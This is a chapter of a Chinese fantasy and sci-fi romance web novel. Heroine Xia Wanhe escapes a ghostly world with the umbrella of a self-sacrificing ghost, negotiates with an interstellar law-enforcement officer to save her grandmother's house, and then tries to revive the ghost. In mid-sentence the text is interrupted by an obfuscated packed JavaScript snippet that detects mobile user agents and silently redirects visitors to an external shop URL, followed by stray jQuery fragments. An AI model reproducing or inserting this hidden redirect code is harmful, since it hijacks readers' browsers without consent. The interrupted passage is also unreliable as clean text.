眨眼间一股气流推着她倒入森林,还来不及对眼前的生离死别升起什么情绪,夏绾禾在一阵剧烈的震荡中昏迷,又在晕眩中缓缓睁开眼睛。
眼前的一切都是暗淡的,怪异的,目之所及全是倒立生长的草木和倒立行走的动物,仿佛上面才是地,下面是天,所有生物都进入了翻转的世界。
不,或者说她才是闯入这里的外来客。
时间似乎在这里没有了意义,夏绾禾觉得自己正身处一个长长的透明轨道,它把自己和外面的世界隔开。
这里比那个傻子的宅院危险的多,她的脑中突然闪过某“人”的脸,有它微笑的,也有它哭着哀求的……
仿若它现在就站在这里看着她。
但她知道再也不可能了。
夏绾禾心绪波动,抿着唇,闭上眼睛抱紧她唯一从那里带出来的东西——那把伞。
那把她从某“人”那拿来,至今未归还,也再也无法归还的伞。
她捂着脸,静默无声的泪水从指缝流出,一颗颗滴在那雪白的伞面,洇出湿润的痕迹。
那个傻子,真是……为什么要这么做?明明她这几天待它一点都不好不是吗?
夏绾禾思绪难明,她开心自己终于离开,将要回到属于自己的世界。
可是,这种高兴为什么掺杂了那么多的苦涩?
她不明白,不明白男鬼自毁的动机,不明白自己莫名又陌生的情愫,她原本以为她还有很长的时间来弄懂。
但最后才发现,有些东西失去了才知道一切都太晚。
“你说,怎么有鬼会这么笨啊……”
她轻轻点了点怀中的伞,像是在和它说话,又像是在和自己说。
伞柄似有白雾缭绕,但霎时就消失不见,快速的仿佛一切都是错觉。
但夏绾禾相信自己的眼睛,她眼也不眨的盯着白雾出现的地方,心中突起莫名的悸动。
这是因为什么才有的……
或许……或许它还没有彻底消散。
夏绾禾重重握住被她放在怀里的伞,脑中有了这个想法。
注意力从外界的诡诞画面处完全移开,宝蓝色的眸光只集中在那伞柄处,期待再次看到那缭绕的白雾。
——
“小姐,小姐!这里不让停车,请您快点离开,警告三次若依旧不执行,0231有权对您进行罚款!”
一道不含感情的机械声音从耳边响起,夏绾禾缓缓睁开那双漂亮深邃的蓝色眼睛,她偏头看了眼自己旁边停着的执法机器人。
听见那久违的属于星际时代的说话内容,才发觉自己已经从那诡诞的世界里离开,重新回到了这条遍布污渍的沥青路面上。
那条她为了赶紧去东区寻找联盟执法人员而专门挑选的近路。
没理会旁边依旧在警告的机器人,夏绾禾看着周围的环境,恍若隔世。
她回来了,奶奶留下的房子还有机会保下吗?
夏绾禾抬头看了眼几米处店面招牌显示的时间:星际历2234年8月24日。
竟然和她出门前的日期一样。
她猛的低头看了眼改装摩托上装着的计时器,和印象中她出门的时间对比,也只流逝了十几分钟而已。
在另一个空间发生的所有事仿佛都是南柯一梦,梦醒则成空。
但等她伸手摸到怀中依旧存在的那把油纸伞,那梦与现实的边界就被打破,所有的迷蒙在她眼中消失。
宝蓝色的眸子里是一如既往的清明。
“是真实的,那个傻鬼是真的,这里也是真的。”
夏绾禾嘴角勾起一抹笑,云开雾散般明媚。
她把伞挂在自己腰间,狠狠踩下油门,继续朝着目的地出发。
房子她要保,那个傻鬼也要继续寻,作为前世救活千百万人的大夫,一个魂飞魄散的鬼而已,她迟早能一片一片的把它拼好救活。
东区教堂,
一个戴着宽檐帽,身穿黑色礼服的女人静立在天使画像旁,观赏着这幅至少有百年历史的天使像。
其他信众也安静的祷告着,气氛祥和安宁。
“轰隆”,门外响起改装摩托嚣张的呼啸声,打破了教堂的宁静氛围。
有人皱眉低骂了声粗俗,面上露出不满。
转头看向门口。
一个身材高挑的女人带着门外的阳光,就这样无视众多目光走了进来,直直站到依旧在欣赏画像的女人身边。
“来了,比我预估的晚了十几分钟,你不够守信啊,夏女士。”
女人慢悠悠的说着,似乎有些不满,没有给夏绾禾一个眼神。
“呵,如果说不守信,我可比得上你们。”
“半个月前我就已经向联盟执法部门举报,你们不仅现在才来,还只派了一个人,不觉得更敷衍吗?”
“看来,我手中的这份药方,还有你们那位长官的命,你们也不是很重视啊。”
夏绾禾冷哼一声,也不惯着对方,反唇相讥。
她不打无准备的仗。
在那位贵族想要收回她家的祖屋后,除了打听到联盟的立场倾向,她还打听到联盟内部有一位官员抱恙,无法再继续任职的消息。
正巧,那病她有办法治。
所以,在发送信件时也同时带上了一颗药。
不出她所料,她放“鱼饵”的行为成功了,只是没想到联盟内部的党争和奸细渗透比她想象的还要激烈。
让对方派出的人晚了半月才到。
“倒是胆大妄为,牙尖嘴利。”
这位一直驻足观赏天使画像的执法人员终于转头看向她,原本想用下马威吓住对方,未料想这人的胆色竟比她想的还要大。
不愧是能做出连最新的扫描机器人都无法破解药方的年轻人,真是不得了。
“过奖。所以现在,可以开始了吗,等你们要回房子,并且之后始终保证这房子在我手上,我立马送上药方,绝不拖延。”
夏绾禾不耐烦和对方一直这样试探着讲话,双手插兜,果断利落的说出自己的要求。像夏日晴空一般灼目明媚的眼睛直视着旁边的女人。
女人顿了几秒,垂眸仔仔细细的端详着夏绾禾,随后勾起一抹笑,优雅的脱掉黑色的手套,朝她伸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940233|213897||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去。
“好啊,夏小姐利落干脆,那我们自然是要跟上。”
“合作愉快,夏小姐,希望我们都能尽快达成所愿。”
这样肆意明媚的年轻人,她倒是越来越喜欢了,她记得她有个侄子还算不错,或许以后可以介绍他们俩认识。
这样叔父的病也许会更快好转。
不知道自己露出骄狂的恶劣姿态反而戳中对方喜好的夏绾禾也同样伸出手。
两者手心交握,达成交易,随后,一触即分。
而周围祈祷的人依旧闭着眼睛虔诚礼拜,仿佛听不见,也看不见。
很显然,他们也都是联盟执法部的人。
几个小时后,贫民区。
太阳落下,黑夜来临。
可这黑夜却比日光照耀下更喧嚣热烈,只要你走在贫民区的街道,目之所及都是闪耀着的霓虹灯,群魔乱舞的瘾君子,耀武扬威的□□分子和躲躲闪闪的隐匿罪犯……
耳之所闻也大多都是靡靡之音,打砸声怒骂声和呓语声。
位于这颗星球的三不管地带,弱肉强食就是这里的规则。只有足够强大,才能不被欺辱。像是缩小版的黑暗森林。
只是话又说回来,这里虽乱,却可以获取更多暗处的,城市里难以获得的资源。
而夏绾禾的家就在贫民区边缘,夹在城区和贫民区之间。
所以,为了榨取这里的利益,她的家就成了需要牺牲的第一环。不止没有赔偿,反而要给对方赔款。
夏绾禾打开门,懒散的把自己甩到了精心淘换来的懒人沙发上,拿出腰间一直挂着的伞,用指腹细细磨挲。
跟那老狐狸言语交锋了一番,又忍着心累吃了饭。
突然就有些想念那个傻傻的,什么都听自己,似乎永远不会反驳的笨鬼了。
“你,是不是藏在这里面啊,如果是,就吱个声,不然别想我再理你了。”
她起身把油纸伞打开,放在桌子上,趴在旁边,点了点那曾经出现过白雾的伞柄,出言威胁。
一分钟过去,依旧没有任何动静,夏绾禾皱了眉,心中出现焦躁的情绪。
难不成之前真是自己的幻觉?
不,她不信。
仔细想想,那白雾出现之前有什么特别的事发生。或许就是其中的一件或者两件导致它出现。
夏绾禾用指尖一下又一下的拨弄伞柄,垂目思索。之前出现的事件在她脑中回溯。
是环境的因素吗,越诡诞阴森的地方越能让它恢复?
而且在那之前,她曾经出现过强烈的情绪波动,还流下了眼泪。是还有泪水的原因吗?
是只有自己的,还是其他人的也可以?
她心中升起一丝微妙的不悦。
但很快,那股不悦被她压了下去,结果还没出来,用不着先生气。
这两种原因都有可能。不能着急下结论。
不过,如果它真的会因为别人的眼泪起反应……
夏绾禾看了眼不远处的壁炉。
那就把它扔进火里清醒清醒,正好秋天要到了,天气转凉,可以取取暖。